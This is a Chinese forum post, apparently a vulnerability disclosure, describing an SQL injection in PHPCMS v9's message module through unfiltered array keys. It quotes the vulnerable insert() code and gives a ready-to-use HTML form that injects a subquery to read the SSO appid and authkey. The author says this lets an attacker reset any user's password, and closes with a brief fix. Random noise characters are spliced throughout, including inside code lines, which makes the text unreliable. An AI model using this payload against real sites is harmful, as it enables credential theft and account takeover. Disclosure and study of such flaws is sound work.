|
简要描述:6 ~$ N( w8 q ?/ F
# C7 k/ g; W/ u
第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。* ~0 F5 r4 L3 W* \7 M$ s4 _. _
" G+ s: L9 w4 D4 }+ [
明天再更新下一个漏洞。$ G$ x$ d" i7 {, }; \. F% ]5 E
详细说明:1 H1 a8 B" L5 j3 k
在/phpcms9/phpcms/modules/message/index.php中有代码如下:3 z x0 V# i. J- F
& Y& A. D2 A8 b& z! [( R! _
$messageid = $this->message_db->insert($_POST['info'],true);
) @" l- J5 I5 b% }0 U+ s% K- Z/ y8 o
7 h8 N: P; x- X# w% h3 pinsert方法是key value的,代码如下:6 |5 i3 w3 _4 C1 W$ c
% O: T. p; \+ a8 f; gpublic function insert($data, $table, $return_insert_id = false, $replace = false) { G0 k9 \2 q5 ?6 H6 @
if(!is_array( $data ) || $table == '' || count($data) == 0) {
3 \$ l8 S$ M. R. W return false;
9 U/ R j' d$ F1 m }
* q) Q! A# p! T
6 l- [8 F6 X$ C8 [+ a $fielddata = array_keys($data);
% a% ~/ d( l; q- E: ]. c $valuedata = array_values($data);
5 i% g4 K# @! v( e4 [) _ array_walk($fielddata, array($this, 'add_special_char'));
/ g& U! z: e+ S; K( q. Q; S6 X- u: Y array_walk($valuedata, array($this, 'escape_string'));6 X* r+ ~. h" G! Y
6 n- \ n) |7 R7 u $field = implode (',', $fielddata);
/ S) {- \/ i( G; L/ K $value = implode (',', $valuedata);- n2 F+ ~) q8 C' A
% q, C5 u1 `0 N- C- e
$cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';
6 n& M/ ^7 P( t$ h $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';, o0 O: n" y7 D; i% b$ Y" e. w
$return = $this->execute($sql);
( V& V* q" w j; N; N6 f( A return $return_insert_id ? $this->insert_id() : $return;
P+ G% k5 x M2 o ]9 B }1 k1 ~3 n s3 r+ K" O& G! I
: q* t$ `& |) n9 b# }5 `- _4 J; Z7 ?% @
嗯,很遗憾的是) ]- i+ \( @3 Q9 x9 X
( i8 e3 W$ ?0 T( @( ~array_walk($fielddata, array($this, 'add_special_char'));2 @; T8 N8 T3 Q: f5 {+ R
( D' ~& q0 u& C
5 h6 m h2 f% O$ }& Z中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。
, ~# t2 e. ^; W8 i8 s
0 Y q7 K, G0 F5 ~" i4 E: E到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。0 G# }9 {. N2 l
, B0 a7 U" `/ p" F& e p# S
漏洞证明:9 \3 Z# c: X, K' g. `6 B: r
读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。
) v$ \( \( C0 B* }* c8 H
, o' R" w6 a! v/ L+ q0 S! I; T4 {) S
表单如下:用户名什么的得自己改一改。8 {" a7 S1 O, P. o
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">, e" A X# I2 B( f6 ?. N9 J3 f
<table width="100%" cellspacing="0" class="table_form">
3 p% h6 [ ^+ K- Q& @, W! x<tr>
1 M+ A$ s% d* N1 X5 H4 }9 a<th>标 题:</th>
1 \( P8 J* |1 e' q- I4 Y; |& W, A6 m<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh" class="input-text"/></td>
9 Z3 Z% r! z+ |+ B r</tr>
* V, ~6 ~+ n+ a- J' v" W* }<tr>
& T, R2 ?8 S. O4 \3 f<th>内 容:</th>0 _9 z: T; v! q1 {# r' }
<td><textarea name="info[content]" id="con" rows="5" cols="50"></textarea></td>
) D8 h3 y( ?6 ~7 D9 ?3 ~$ V* A</tr>
4 }. Q% B7 } Q: M. E8 T( O. _<input type="hidden" name="info[replyid]" value="2" /> " S/ }* C# e: j! I1 r
<input type="hidden" name="info[send_to_id]" value="cc" /> 4 E0 c5 n' h- s5 {- ?* P
<input type="hidden" name="info[send_from_id]" value="hh">: w0 m/ l9 m2 Q. F/ _7 J; x# g$ w
<!-- 漏洞的利用重点在这里开始 -->2 i( F; c: h' \) e
<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" /> , _6 n- V& f: h& C( L
<!-- 漏洞的利用重点在这里结束 -->% I! T! ~3 @1 D5 `
<tr>* q. Q8 S( U9 ]2 R( Y
<th>验证码:</th>
3 t2 h6 E5 M9 y1 a: A2 y/ E/ G<td><input name="code" type="text" id="code" size="10" class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>
, x1 y' C$ ], q1 _2 S3 r5 |</tr>$ F; I4 Y: E$ U8 u/ G9 y4 G0 F e3 ~9 m
<tr>
. b7 g& I6 r- T4 l# W: ]0 x<td></td>
1 E, c& Q. K( w: {, p S<td colspan="2"><label>. N' m3 ?6 G i8 j# ]' ?
<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
# r9 {( Q4 V3 M9 O$ q+ ?6 ~, O</label></td>) B. h0 V! N* C, _: {
</tr>
. B+ `4 M0 d8 l) P</table>
8 d( ~( x+ s! i5 j</form>% h/ {4 C; Y) F
在add_special_char函数内对key做过滤就可以了。
' ~- N$ ^% a N6 I$ \3 o/ x6 R7 E6 c9 d8 F. t2 ~! {9 [4 N2 Z! Y
# n; [0 V2 C" t8 H. F$ d
- I( o6 d5 q; V j! n
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|